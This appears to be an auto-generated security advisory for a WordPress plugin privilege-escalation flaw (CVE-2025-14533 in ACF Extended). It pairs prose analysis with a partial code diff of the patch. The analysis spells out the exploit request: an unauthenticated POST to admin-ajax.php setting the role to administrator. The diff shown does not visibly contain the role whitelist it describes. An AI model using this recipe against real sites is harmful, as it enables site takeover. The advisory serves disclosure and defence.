Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14533: Advanced Custom Fields: Extended <= 0.9.2.1 – Unauthenticated Privilege Escalation via Insert User Form Action (acf-extended)

Plugin acf-extended
Severity Critical (CVSS 9.8)
CWE 269
Vulnerable Version 0.9.2.1
Patched Version 0.9.2.2
Disclosed January 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14533:
The Advanced Custom Fields: Extended WordPress plugin contains an unauthenticated privilege escalation vulnerability in versions up to and including 0.9.2.1. The vulnerability exists in the plugin’s frontend user registration functionality, specifically within the ‘insert_user’ form action handler. Attackers can exploit this flaw to register new user accounts with administrator privileges without authentication, resulting in complete site compromise with a CVSS score of 9.8.

The root cause lies in the ‘acfe/form/make/insert_user’ action handler located in includes/modules/form-actions.php. The vulnerable code processes user registration submissions from frontend forms without properly validating the ‘role’ parameter. When a site administrator maps the WordPress user role field to an ACF field in a frontend form, the plugin accepts any role value submitted via POST request, including ‘administrator’. The plugin fails to implement server-side validation to restrict role assignments to non-privileged roles only.

Exploitation requires that the target WordPress site has configured a frontend user registration form using the Advanced Custom Fields: Extended plugin with the ‘role’ field mapped. Attackers send a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘acfe/form/submit’. The request includes form data with the ‘role’ parameter set to ‘administrator’ or other privileged roles. No authentication or nonce is required for this submission. The payload triggers the ‘acfe/form/make/insert_user’ callback which processes the registration without role validation.

The patch in version 0.9.2.2 introduces server-side validation for user role assignments. The fix adds validation logic that prevents frontend forms from assigning privileged roles during user registration. The plugin now validates that submitted role values are within an allowed set of non-privileged roles. Before the patch, the plugin accepted any role value without restriction. After the patch, the plugin validates role submissions against a whitelist of permitted roles, blocking administrator role assignments from unauthenticated users.

Successful exploitation grants attackers full administrative access to the WordPress site. Attackers can create, modify, and delete any content, install malicious plugins or themes, execute arbitrary code through plugin/theme editors, compromise user data, and establish persistent backdoors. The vulnerability enables complete site takeover without requiring any authentication, making it particularly dangerous for sites using the plugin’s frontend user registration features.

Differential between vulnerable and patched code

Code Diff
--- a/acf-extended/acf-extended.php
+++ b/acf-extended/acf-extended.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Advanced Custom Fields: Extended
  * Description: All-in-one enhancement suite that improves WordPress & Advanced Custom Fields.
- * Version:     0.9.2.1
+ * Version:     0.9.2.2
  * Author:      ACF Extended
  * Plugin URI:  https://www.acf-extended.com
  * Author URI:  https://www.acf-extended.com
@@ -19,7 +19,7 @@
 class ACFE{

     // vars
-    var $version = '0.9.2.1';
+    var $version = '0.9.2.2';

     /**
      * construct
@@ -261,15 +261,19 @@
         acfe_include('includes/fields/field-flexible-content.php');
         acfe_include('includes/fields/field-group.php');
         acfe_include('includes/fields/field-image.php');
+        acfe_include('includes/fields/field-relationship.php');
         acfe_include('includes/fields/field-post-object.php');
+        acfe_include('includes/fields/field-radio.php');
         acfe_include('includes/fields/field-repeater.php');
         acfe_include('includes/fields/field-select.php');
         acfe_include('includes/fields/field-textarea.php');
         acfe_include('includes/fields/field-taxonomy.php');
+        acfe_include('includes/fields/field-user.php');
         acfe_include('includes/fields/field-wysiwyg.php');

         // fields settings
         acfe_include('includes/fields-settings/bidirectional.php');
+        acfe_include('includes/fields-settings/choices-label.php');
         acfe_include('includes/fields-settings/data.php');
         acfe_include('includes/fields-settings/instructions.php');
         acfe_include('includes/fields-settings/permissions.php');
--- a/acf-extended/includes/acfe-helper-functions.php
+++ b/acf-extended/includes/acfe-helper-functions.php
@@ -1360,4 +1360,37 @@

     return $subject;

+}
+
+
+/**
+ * acfe_get_array_flatten
+ *
+ * @param $array
+ * @param $flattened
+ *
+ * @return array|mixed
+ */
+function acfe_get_array_flatten($array = array(), $flattened = array()){
+
+    // bail early if no array
+    if(empty($array) || !is_array($array)){
+        return $flattened;
+    }
+
+    // loop choices
+    foreach($array as $key => $value){
+
+        // value must be an array
+        if(is_array($value)){
+            $flattened = acfe_get_array_flatten($value, $flattened);
+        }else{
+            $flattened[ $key ] = $value;
+        }
+
+    }
+
+    // return
+    return $flattened;
+
 }
 No newline at end of file
--- a/acf-extended/includes/field-extend.php
+++ b/acf-extended/includes/field-extend.php
@@ -50,6 +50,9 @@
             array('action', 'acf/render_field_settings',     array($this, 'render_field_settings'),    9, 1),
             array('filter', 'acf/prepare_field',             array($this, 'prepare_field'),            10, 1),
             array('filter', 'acf/translate_field',           array($this, 'translate_field'),          10, 1),
+
+            // acfe
+            array('filter', 'acfe/form/validate_value',      array($this, 'validate_front_value'),     10, 5),
             array('filter', 'acfe/field_wrapper_attributes', array($this, 'field_wrapper_attributes'), 10, 2),
             array('filter', 'acfe/load_fields',              array($this, 'load_fields'),              10, 2),
         );
@@ -105,6 +108,44 @@
         return acf_get_field_type($this->name);
     }

+
+    /**
+     * pre_validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $form
+     *
+     * @return mixed|null
+     */
+    function pre_validate_front_value($valid, $value, $field, $form){
+
+        // already invalid
+        if(!$valid || (is_string($valid) && !empty($valid))){
+            return false;
+        }
+
+        // empty value
+        if(empty($value)){
+            return false;
+        }
+
+        // default validation
+        $validate = true;
+
+        // variations
+        $validate = apply_filters("acfe/form/pre_validate_value/form={$form['name']}",   $validate, $field, $form);
+        $validate = apply_filters("acfe/form/pre_validate_value/type={$field['type']}",  $validate, $field, $form);
+        $validate = apply_filters("acfe/form/pre_validate_value/name={$field['_name']}", $validate, $field, $form);
+        $validate = apply_filters("acfe/form/pre_validate_value/key={$field['key']}",    $validate, $field, $form);
+
+        // return
+        return $validate;
+
+    }
+
+
     /**
      * add_filter
      *
--- a/acf-extended/includes/field-groups/field-group-display-title.php
+++ b/acf-extended/includes/field-groups/field-group-display-title.php
@@ -26,10 +26,16 @@
      */
     function prepare_field_group($field_group){

-        if(acf_maybe_get($field_group, 'acfe_display_title')){
+        // legacy ACFE "acfe_display_title"
+        if(!empty($field_group['acfe_display_title']) && is_string($field_group['acfe_display_title'])){
             $field_group['title'] = $field_group['acfe_display_title'];
         }

+        // ACF 6.6+ native "display_title" takes priority
+        if(!empty($field_group['display_title']) && is_string($field_group['display_title'])){
+            $field_group['title'] = $field_group['display_title'];
+        }
+
         return $field_group;

     }
--- a/acf-extended/includes/field.php
+++ b/acf-extended/includes/field.php
@@ -16,12 +16,50 @@
         // parent construct
         parent::__construct();

-        // field
+        // custom filters
+        $this->add_field_filter('acfe/form/validate_value',      array($this, 'validate_front_value'),     10, 5);
         $this->add_field_filter('acfe/field_wrapper_attributes', array($this, 'field_wrapper_attributes'), 10, 2);
         $this->add_field_filter('acfe/load_fields',              array($this, 'load_fields'),              10, 2);

     }

+
+    /**
+     * pre_validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $form
+     *
+     * @return mixed|null
+     */
+    function pre_validate_front_value($valid, $value, $field, $form){
+
+        // already invalid
+        if(!$valid || (is_string($valid) && !empty($valid))){
+            return false;
+        }
+
+        // empty value
+        if(empty($value)){
+            return false;
+        }
+
+        // default validation
+        $validate = true;
+
+        // variations
+        $validate = apply_filters("acfe/form/pre_validate_value/form={$form['name']}",   $validate, $field, $form);
+        $validate = apply_filters("acfe/form/pre_validate_value/type={$field['type']}",  $validate, $field, $form);
+        $validate = apply_filters("acfe/form/pre_validate_value/name={$field['_name']}", $validate, $field, $form);
+        $validate = apply_filters("acfe/form/pre_validate_value/key={$field['key']}",    $validate, $field, $form);
+
+        // return
+        return $validate;
+
+    }
+
 }

 endif;
 No newline at end of file
--- a/acf-extended/includes/fields-settings/choices-label.php
+++ b/acf-extended/includes/fields-settings/choices-label.php
@@ -0,0 +1,349 @@
+<?php
+
+if(!defined('ABSPATH')){
+    exit;
+}
+
+if(!class_exists('acfe_field_choices_label')):
+
+class acfe_field_choices_label{
+
+    /**
+     * construct
+     */
+    function __construct(){
+
+        // instructions
+        add_filter('acf/prepare_field/name=choices',                array($this, 'prepare_instructions'), 20);
+
+        // filters
+        add_filter('acf/prepare_field/type=radio',                  array($this, 'prepare_choices'), 20);
+        add_filter('acf/prepare_field/type=checkbox',               array($this, 'prepare_choices'), 20);
+        add_filter('acf/prepare_field/type=acfe_taxonomy_terms',    array($this, 'prepare_choices'), 20);
+
+        add_filter('acf/prepare_field/type=radio',                  array($this, 'prepare_radio'), 20);
+        add_filter('acf/prepare_field/type=acfe_taxonomy_terms',    array($this, 'prepare_radio'), 20);
+
+    }
+
+
+    /**
+     * prepare_instructions
+     *
+     * ACF Admin choices insctructions
+     */
+    function prepare_instructions($field){
+
+        // allowed types
+        $field_types = array('radio', 'checkbox', 'select');
+
+        // check field type
+        if(in_array(acf_maybe_get($field['wrapper'], 'data-setting'), $field_types, true)){
+
+            $text = "<br/><br/>" . __('You may use "## Title" to create a group of options.', 'acfe');
+            $key = acf_maybe_get($field, 'hint') ? 'hint' : 'instructions'; // handle hint / instructions
+
+            // add instructions
+            $field[ $key ] .= $text;
+
+        }
+
+        return $field;
+
+    }
+
+
+    /**
+     * prepare_choices
+     *
+     * @param $field
+     *
+     * @return mixed
+     */
+    function prepare_choices($field){
+
+        // bail early if no choices
+        if(empty($field['choices'])){
+            return $field;
+        }
+
+        // transform choices array
+        $field = $this->decode_choices_label($field);
+
+        // get labels
+        $labels = $this->get_labels($field['choices']);
+
+        // assign data attribute
+        if(!empty($labels)){
+            $field['wrapper']['data-acfe-labels'] = json_encode($labels);
+        }
+
+        return $field;
+
+    }
+
+
+    /**
+     * prepare_radio
+     *
+     * Radio fields need special treatment as they don't recognize nested arrays choices
+     * This function flattens the choices array. Then labels are added in javascript
+     *
+     * @param $field
+     *
+     * @return mixed
+     */
+    function prepare_radio($field){
+
+        if($field['type'] !== 'radio' && $field['field_type'] !== 'radio'){
+            return $field;
+        }
+
+        if(empty($field['choices'])){
+            return $field;
+        }
+
+        $choices = array();
+
+        // loop choices to flatten
+        foreach($field['choices'] as $key => $value){
+
+            if(is_array($value)){
+                $choices = $choices + $value;
+            }else{
+                $choices = $choices + array($key => $value);
+            }
+
+        }
+
+        // assign
+        $field['choices'] = $choices;
+
+        return $field;
+
+    }
+
+
+    /**
+     * decode_choices_label
+     *
+     * Transform choices with "##" into grouped choices
+     * Example:
+     *
+     * 'choices' => array(
+     *     '## Fruits',
+     *     'apple' => 'Apple',
+     *     'banana' => 'Banana',
+     * )
+     *
+     * Becomes
+     *
+     * 'choices' => array(
+     *     'Fruits' => array(
+     *         'apple'  => 'Apple',
+     *         'banana' => 'Banana',
+     *     )
+     * )
+     *
+     * @param $field
+     *
+     * @return mixed
+     */
+    function decode_choices_label($field){
+
+        // bail early if no choices
+        if(empty($field['choices']) || !is_array($field['choices'])){
+            return $field;
+        }
+
+        // vars
+        $last_label = false;
+        $new_choices = array();
+
+        // loop choices
+        foreach($field['choices'] as $k => $choice){
+
+            // only strings
+            if(is_string($choice)){
+
+                // sanitize choice
+                $choice = trim($choice);
+
+                // ## Group Label
+                if(acfe_starts_with($choice, '##')){
+
+                    // get label
+                    $label = substr($choice, 2);
+                    $label = trim($label);
+
+                    // prepare new choices
+                    $last_label = $label;
+                    $new_choices[ $label ] = array();
+
+                    continue; // new row
+                }
+
+                // assign sub choice to last label
+                if(!empty($last_label)){
+                    $new_choices[ $last_label ][ $k ] = $choice;
+                }
+
+            }
+
+        }
+
+        // assign new choices
+        if(!empty($new_choices)){
+            $field['choices'] = $new_choices;
+        }
+
+        return $field;
+
+    }
+
+
+    /**
+     * strip_choices_label
+     *
+     * Removes choices starting with "##"
+     * This is mainly used on select2 ajax requests which doesn't handle grouped choices
+     *
+     * @param $field
+     *
+     * @return mixed
+     */
+    function strip_choices_label($field){
+
+        // bail early if no choices
+        if(empty($field['choices']) || !is_array($field['choices'])){
+            return $field;
+        }
+
+        // loop choices
+        foreach(array_keys($field['choices']) as $k){
+
+            // get choice
+            $choice = $field['choices'][ $k ];
+
+            // only string
+            if(is_string($choice) && acfe_starts_with($choice, '##')){
+                unset($field['choices'][ $k ]);
+            }
+
+        }
+
+        // return
+        return $field;
+
+    }
+
+
+    /**
+     * get_labels
+     *
+     * @param $choices
+     * @param $depth
+     * @param $labels
+     *
+     * @return array|mixed
+     */
+    function get_labels($choices = array(), $depth = 1, $labels = array()){
+
+        // bail early if no choices
+        if(empty($choices)){
+            return $labels;
+        }
+
+        // loop choices
+        foreach($choices as $key => $value){
+
+            // label must be an array
+            if(is_array($value)){
+
+                // get the first array key
+                reset($value);
+                $first_key = key($value);
+
+                if(!is_numeric($key)){
+                    $labels = array_merge($labels, array($key => $first_key));
+                }
+
+                $labels = $this->get_labels($value, $depth+1, $labels);
+
+            }
+
+        }
+
+        // return
+        return $labels;
+
+    }
+
+}
+
+acf_new_instance('acfe_field_choices_label');
+
+endif;
+
+
+/**
+ * acfe_prepare_choices_label
+ *
+ * @param $field
+ *
+ * @return mixed
+ */
+function acfe_prepare_choices_label($field){
+
+    // get instance
+    $instance = acf_get_instance('acfe_field_choices_label');
+
+    // perform actions
+    $field = $instance->prepare_choices($field);
+    $field = $instance->prepare_radio($field);
+
+    // return
+    return $field;
+
+}
+
+
+/**
+ * acfe_decode_choices_label
+ *
+ * @param $field
+ *
+ * @return mixed
+ */
+function acfe_decode_choices_label($field){
+    $instance = acf_get_instance('acfe_field_choices_label');
+    return $instance->decode_choices_label($field);
+}
+
+
+/**
+ * acfe_strip_choices_label
+ *
+ * @param $field
+ *
+ * @return mixed
+ */
+function acfe_strip_choices_label($field){
+    $instance = acf_get_instance('acfe_field_choices_label');
+    return $instance->strip_choices_label($field);
+}
+
+
+/**
+ * acfe_prepare_checkbox_labels
+ *
+ * @param $field
+ *
+ * @deprecated since 0.9.2.2 use acfe_prepare_choices_label instead
+ *
+ * @return mixed
+ */
+function acfe_prepare_checkbox_labels($field){
+    acfe_deprecated_function(__FUNCTION__, '0.9.2.2', 'acfe_prepare_choices_label()');
+    return acfe_prepare_choices_label($field);
+}
 No newline at end of file
--- a/acf-extended/includes/fields/field-checkbox.php
+++ b/acf-extended/includes/fields/field-checkbox.php
@@ -6,182 +6,57 @@

 if(!class_exists('acfe_field_checkbox')):

-class acfe_field_checkbox{
+class acfe_field_checkbox extends acfe_field_extend{

     /**
-     * construct
+     * initialize
      */
-    function __construct(){
+    function initialize(){

-        // instructions
-        add_filter('acf/prepare_field/name=choices',                array($this, 'prepare_instructions'), 20);
-
-        // Filters
-        add_filter('acf/prepare_field/type=acfe_taxonomy_terms',    array($this, 'prepare_choices'), 20);
-        add_filter('acf/prepare_field/type=radio',                  array($this, 'prepare_choices'), 20);
-        add_filter('acf/prepare_field/type=checkbox',               array($this, 'prepare_choices'), 20);
-
-        add_filter('acf/prepare_field/type=radio',                  array($this, 'prepare_radio'), 20);
-        add_filter('acf/prepare_field/type=acfe_taxonomy_terms',    array($this, 'prepare_radio'), 20);
+        $this->name = 'checkbox';

     }


     /**
-     * prepare_instructions
-     */
-    function prepare_instructions($field){
-
-        // check setting
-        if(acf_maybe_get($field['wrapper'], 'data-setting') === 'radio' || acf_maybe_get($field['wrapper'], 'data-setting') === 'checkbox' || acf_maybe_get($field['wrapper'], 'data-setting') === 'select'){
-
-            $text = "<br/><br/>" . __('You may use "## Title" to create a group of options.', 'acfe');
-
-            if(acf_maybe_get($field, 'hint')){
-                $field['hint'] .= $text;
-            }else{
-                $field['instructions'] .= $text;
-            }
-
-
-        }
-
-        return $field;
-
-    }
-
-
-    /**
-     * prepare_choices
+     * validate_front_value
      *
+     * @param $valid
+     * @param $value
      * @param $field
+     * @param $input
+     * @param $form
      *
-     * @return mixed
+     * @return false
      */
-    function prepare_choices($field){
-
-        // bail early if no choices
-        if(empty($field['choices'])){
-            return $field;
-        }
-
-        // map '## group'
-        if(is_array($field['choices'])){
-
-            $found = false;
-            $found_array = array();
-
-            foreach($field['choices'] as $k => $choice){
-
-                if(is_string($choice)){
-
-                    $choice = trim($choice);
-
-                    if(strpos($choice, '##') === 0){
-
-                        $choice = substr($choice, 2);
-                        $choice = trim($choice);
-
-                        $found = $choice;
-                        $found_array[$choice] = array();
-
-                    }elseif(!empty($found)){
-
-                        $found_array[$found][$k] = $choice;
-
-                    }
-
-                }
-
-            }
-
-            if(!empty($found_array)){
-                $field['choices'] = $found_array;
-            }
+    function validate_front_value($valid, $value, $field, $input, $form){

+        // bail early
+        if(!$this->pre_validate_front_value($valid, $value, $field, $form)){
+            return $valid;
         }

-        // Labels
-        $labels = $this->walk_choices($field['choices']);
-
-        if(!empty($labels)){
-            $field['wrapper']['data-acfe-labels'] = json_encode($labels);
+        // custom value allowed
+        if(!empty($field['allow_custom'])){
+            return $valid;
         }

-        return $field;
+        // vars
+        $value = acf_get_array($value);
+        $choices = acf_get_array($field['choices']);

-    }
-
-
-    /**
-     * walk_choices
-     *
-     * @param $choices
-     * @param $depth
-     * @param $labels
-     *
-     * @return array|mixed
-     */
-    function walk_choices($choices = array(), $depth = 1, $labels = array()){
-
-        // bail early if no choices
+        // empty choices
         if(empty($choices)){
-            return $labels;
-        }
-
-        foreach($choices as $value => $label){
-
-            // bail early if not array
-            if(!is_array($label)) continue;
-
-            reset($label);
-            $key = key($label);
-
-            if(!is_numeric($value)){
-                $labels = array_merge($labels, array($value => $key));
-            }
-
-            $labels = $this->walk_choices($label, $depth+1, $labels);
-
-        }
-
-        return $labels;
-
-    }
-
-
-    /**
-     * prepare_radio
-     *
-     * @param $field
-     *
-     * @return mixed
-     */
-    function prepare_radio($field){
-
-        if($field['type'] !== 'radio' && $field['field_type'] !== 'radio'){
-            return $field;
-        }
-
-        if(empty($field['choices'])){
-            return $field;
+            return false; // value is always invalid as there no choice is allowed
         }
-
-        $choices = array();
-
-        foreach($field['choices'] as $value => $label){
-
-            if(is_array($label)){
-                $choices = $choices + $label;
-            }else{
-                $choices = $choices + array($value => $label);
-            }

+        // check values against choices
+        if(!empty(array_diff($value, array_keys($choices)))){
+            return false;
         }
-
-        $field['choices'] = $choices;

-        return $field;
+        // return
+        return $valid;

     }

@@ -189,23 +64,4 @@

 acf_new_instance('acfe_field_checkbox');

-endif;
-
-
-/**
- * acfe_prepare_checkbox_labels
- *
- * @param $field
- *
- * @return mixed
- */
-function acfe_prepare_checkbox_labels($field){
-
-    $instance = acf_get_instance('acfe_field_checkbox');
-
-    $field = $instance->prepare_choices($field);
-    $field = $instance->prepare_radio($field);
-
-    return $field;
-
-}
 No newline at end of file
+endif;
 No newline at end of file
--- a/acf-extended/includes/fields/field-forms.php
+++ b/acf-extended/includes/fields/field-forms.php
@@ -6,7 +6,7 @@

 if(!class_exists('acfe_field_forms')):

-class acfe_field_forms extends acf_field{
+class acfe_field_forms extends acfe_field{

     /**
      * initialize
@@ -572,6 +572,49 @@

     }

+
+    /**
+     * validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return false
+     */
+    function validate_front_value($valid, $value, $field, $input, $form){
+
+        // bail early
+        if(!$this->pre_validate_front_value($valid, $value, $field, $form)){
+            return $valid;
+        }
+
+        // custom value allowed
+        if(!empty($field['allow_custom']) || !empty($field['other_choice'])){
+            return $valid;
+        }
+
+        // vars
+        $value = acf_get_array($value);
+        $choices = acf_get_array($field['forms']);
+
+        // empty choices
+        if(empty($choices)){
+            return $valid;
+        }
+
+        // check values against choices
+        if(!empty(array_diff($value, $choices))){
+            return false;
+        }
+
+        // return
+        return $valid;
+
+    }
+

     /**
      * translate_field
--- a/acf-extended/includes/fields/field-post-object.php
+++ b/acf-extended/includes/fields/field-post-object.php
@@ -193,6 +193,68 @@

     }

+
+    /**
+     * validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return false
+     */
+    function validate_front_value($valid, $value, $field, $input, $form){
+
+        // bail early
+        if(!$this->pre_validate_front_value($valid, $value, $field, $form)){
+            return $valid;
+        }
+
+        // custom value allowed
+        if(!empty($field['save_custom'])){
+            return $valid;
+        }
+
+        // vars
+        $value = acf_get_array($value);
+
+        // loop values
+        foreach($value as $v){
+
+            // get post
+            $post = get_post($v);
+
+            // check post exists
+            if(!$post || is_wp_error($post)){
+                return false;
+            }
+
+            // check query method exists
+            if(method_exists($this->instance, 'get_ajax_query')){
+
+                // query post object ajax query
+                $query = $this->instance->get_ajax_query(array(
+                    'field_key' => $field['key'],
+                    'post_id'   => $form['post_id'],
+                    'include'   => $v,
+                ));
+
+                // return false if no results
+                if(empty($query)){
+                    return false;
+                }
+
+            }
+
+        }
+
+        // return
+        return $valid;
+
+    }
+
 }

 acf_new_instance('acfe_field_post_object');
--- a/acf-extended/includes/fields/field-post-statuses.php
+++ b/acf-extended/includes/fields/field-post-statuses.php
@@ -6,7 +6,7 @@

 if(!class_exists('acfe_field_post_statuses')):

-class acfe_field_post_statuses extends acf_field{
+class acfe_field_post_statuses extends acfe_field{

     /**
      * initialize
@@ -483,6 +483,49 @@

     }

+
+    /**
+     * validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return false
+     */
+    function validate_front_value($valid, $value, $field, $input, $form){
+
+        // bail early
+        if(!$this->pre_validate_front_value($valid, $value, $field, $form)){
+            return $valid;
+        }
+
+        // custom value allowed
+        if(!empty($field['allow_custom']) || !empty($field['other_choice'])){
+            return $valid;
+        }
+
+        // vars
+        $value = acf_get_array($value);
+        $choices = acf_get_array($field['post_status']);
+
+        // empty choices
+        if(empty($choices)){
+            return $valid;
+        }
+
+        // check values against choices
+        if(!empty(array_diff($value, $choices))){
+            return false;
+        }
+
+        // return
+        return $valid;
+
+    }
+

     /**
      * translate_field
--- a/acf-extended/includes/fields/field-post-types.php
+++ b/acf-extended/includes/fields/field-post-types.php
@@ -6,7 +6,7 @@

 if(!class_exists('acfe_field_post_types')):

-class acfe_field_post_types extends acf_field{
+class acfe_field_post_types extends acfe_field{

     /**
      * initialize
@@ -483,6 +483,49 @@

     }

+
+    /**
+     * validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return false
+     */
+    function validate_front_value($valid, $value, $field, $input, $form){
+
+        // bail early
+        if(!$this->pre_validate_front_value($valid, $value, $field, $form)){
+            return $valid;
+        }
+
+        // custom value allowed
+        if(!empty($field['allow_custom']) || !empty($field['other_choice'])){
+            return $valid;
+        }
+
+        // vars
+        $value = acf_get_array($value);
+        $choices = acf_get_array($field['post_type']);
+
+        // empty choices
+        if(empty($choices)){
+            return $valid;
+        }
+
+        // check values against choices
+        if(!empty(array_diff($value, $choices))){
+            return false;
+        }
+
+        // return
+        return $valid;
+
+    }
+

     /**
      * translate_field
--- a/acf-extended/includes/fields/field-radio.php
+++ b/acf-extended/includes/fields/field-radio.php
@@ -0,0 +1,67 @@
+<?php
+
+if(!defined('ABSPATH')){
+    exit;
+}
+
+if(!class_exists('acfe_field_radio')):
+
+class acfe_field_radio extends acfe_field_extend{
+
+    /**
+     * initialize
+     */
+    function initialize(){
+
+        $this->name = 'radio';
+
+    }
+
+
+    /**
+     * validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return false
+     */
+    function validate_front_value($valid, $value, $field, $input, $form){
+
+        // bail early
+        if(!$this->pre_validate_front_value($valid, $value, $field, $form)){
+            return $valid;
+        }
+
+        // custom value allowed
+        if(!empty($field['other_choice'])){
+            return $valid;
+        }
+
+        // vars
+        $value = acf_get_array($value);
+        $choices = acf_get_array($field['choices']);
+
+        // empty choices
+        if(empty($choices)){
+            return false; // value is always invalid as there no choice is allowed
+        }
+
+        // check values against choices
+        if(!empty(array_diff($value, array_keys($choices)))){
+            return false;
+        }
+
+        // return
+        return $valid;
+
+    }
+
+}
+
+acf_new_instance('acfe_field_radio');
+
+endif;
 No newline at end of file
--- a/acf-extended/includes/fields/field-relationship.php
+++ b/acf-extended/includes/fields/field-relationship.php
@@ -0,0 +1,86 @@
+<?php
+
+if(!defined('ABSPATH')){
+    exit;
+}
+
+if(!class_exists('acfe_field_relationship')):
+
+class acfe_field_relationship extends acfe_field_extend{
+
+    /**
+     * initialize
+     */
+    function initialize(){
+
+        $this->name = 'relationship';
+
+    }
+
+
+    /**
+     * validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return false
+     */
+    function validate_front_value($valid, $value, $field, $input, $form){
+
+        // bail early
+        if(!$this->pre_validate_front_value($valid, $value, $field, $form)){
+            return $valid;
+        }
+
+        // custom value allowed
+        if(!empty($field['acfe_add_post'])){
+            return $valid;
+        }
+
+        // cast array
+        $value = acf_get_array($value);
+
+        // loop values
+        foreach($value as $v){
+
+            // get post
+            $post = get_post($v);
+
+            // check post exists
+            if(!$post || is_wp_error($post)){
+                return false;
+            }
+
+            // check query method exists
+            if(method_exists($this->instance, 'get_ajax_query')){
+
+                // query relationship ajax query
+                $query = $this->instance->get_ajax_query(array(
+                    'field_key' => $field['key'],
+                    'post_id'   => $form['post_id'],
+                    'include'   => $v,
+                ));
+
+                // return false if no results
+                if(empty($query)){
+                    return false;
+                }
+
+            }
+
+        }
+
+        // return
+        return $valid;
+
+    }
+
+}
+
+acf_new_instance('acfe_field_relationship');
+
+endif;
 No newline at end of file
--- a/acf-extended/includes/fields/field-select.php
+++ b/acf-extended/includes/fields/field-select.php
@@ -128,6 +128,25 @@


     /**
+     * load_field
+     *
+     * @param $field
+     *
+     * @return mixed
+     */
+    function load_field($field){
+
+        // ajax enabled
+        if(!empty($field['ajax'])){
+            $field = acfe_strip_choices_label($field); // strip '## title' grouping for ajax
+        }
+
+        return $field;
+
+    }
+
+
+    /**
      * prepare_field
      *
      * @param $field
@@ -135,13 +154,9 @@
      * @return mixed
      */
     function prepare_field($field){
-
-        // vars
-        $allow_custom = acf_maybe_get($field, 'allow_custom');
-        $ajax = acf_maybe_get($field, 'ajax');

         // allow custom
-        if($allow_custom){
+        if(!empty($field['allow_custom'])){

             $value = acf_maybe_get($field, 'value');
             $value = acf_get_array($value);
@@ -158,41 +173,8 @@
         }

         // group choices using '## title'
-        if(!$ajax && is_array($field['choices'])){
-
-            $found = false;
-            $choices = array();
-
-            // loop choices
-            foreach($field['choices'] as $k => $choice){
-
-                if(is_string($choice)){
-
-                    $choice = trim($choice);
-
-                    if(strpos($choice, '##') === 0){
-
-                        $choice = substr($choice, 2);
-                        $choice = trim($choice);
-
-                        $found = $choice;
-                        $choices[ $choice ] = array();
-
-                    }elseif(!empty($found)){
-
-                        $choices[ $found ][ $k ] = $choice;
-
-                    }
-
-                }
-
-            }
-
-            // assign found choices
-            if(!empty($choices)){
-                $field['choices'] = $choices;
-            }
-
+        if(empty($field['ajax'])){
+            $field = acfe_decode_choices_label($field);
         }

         // return
@@ -226,6 +208,89 @@

     }

+
+    /**
+     * validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return false
+     */
+    function validate_front_value($valid, $value, $field, $input, $form){
+
+        // bail early
+        if(!$this->pre_validate_front_value($valid, $value, $field, $form)){
+            return $valid;
+        }
+
+        // custom value allowed
+        if(!empty($field['create_options']) || !empty($field['allow_custom'])){
+            return $valid;
+        }
+
+        // vars
+        $value = acf_get_array($value);
+        $choices = acf_get_array($field['choices']);
+
+        // handle ajax choices
+        if(!empty($field['ajax'])){
+
+            if(method_exists($this->instance, 'get_ajax_query')){
+
+                // perform select ajax query
+                $query = $this->instance->get_ajax_query(array(
+                    'field_key' => $field['key'],
+                    'post_id'   => $form['post_id'],
+                ));
+
+                // empty query
+                if(empty($query)){
+                    return false;
+                }
+
+                // get results
+                // expecting array('results' => array( array('id' => '', 'text' => '') ))
+                $results = acf_maybe_get($query, 'results');
+                $results = acf_get_array($results);
+
+                // no results
+                if(empty($results)){
+                    return false;
+                }
+
+                // reset choices
+                $choices = array();
+
+                // loop results and assign choices
+                foreach($results as $result){
+                    if(isset($result['id'], $result['text'])){
+                        $choices[ $result['id'] ] = $result['text'];
+                    }
+                }
+
+            }
+
+        }
+
+        // empty choices
+        if(empty($choices)){
+            return false; // value is always invalid as there no choice is allowed
+        }
+
+        // check values against choices
+        if(!empty(array_diff($value, array_keys($choices)))){
+            return false;
+        }
+
+        // return
+        return $valid;
+
+    }
+

     /**
      * translate_field
--- a/acf-extended/includes/fields/field-taxonomies.php
+++ b/acf-extended/includes/fields/field-taxonomies.php
@@ -6,7 +6,7 @@

 if(!class_exists('acfe_field_taxonomies')):

-class acfe_field_taxonomies extends acf_field{
+class acfe_field_taxonomies extends acfe_field{

     /**
      * initialize
@@ -483,6 +483,48 @@

     }

+
+    /**
+     * validate_front_value
+     *
+     * @param $valid
+     * @param $value
+     * @param $field
+     * @param $input
+     * @param $form
+     *
+     * @return false
+     */
+    function validate_front_value($valid, $value, $field, $input, $form){
+
+        // bail early
+        if(!$this->pre_validate_front_value($valid, $value, $field, $form)){
+            return $valid;
+        }
+
+        // custom value allowed
+        if(!empty($field['allow_custom']) || !empty($field['other_choice'])){
+            return $valid;
+        }
+
+        $value = acf_get_array($value);
+        $choices = acf_get_array($field['taxonomy']);
+
+        // empty choices
+        if(empty($choices)){
+            return $valid;
+        }
+
+        // check values against choices
+        if(!empty(array_diff($value, $choices))){
+            return false;
+        }
+
+        // return
+        return $valid;
+
+    }
+

     /**
      * translate_field
--- a/acf-extended/includes/fields/field-taxonomy-terms.php
+++ b/acf-extended/includes/fields/field-taxonomy-terms.php
@@ -6,7 +6,7 @@

 if(!class_exists('acfe_field_taxonomy_terms')):

-class acfe_field_taxonomy_terms extends acf_field{
+class acfe_field_taxonomy_terms extends acfe_field{

     // vars
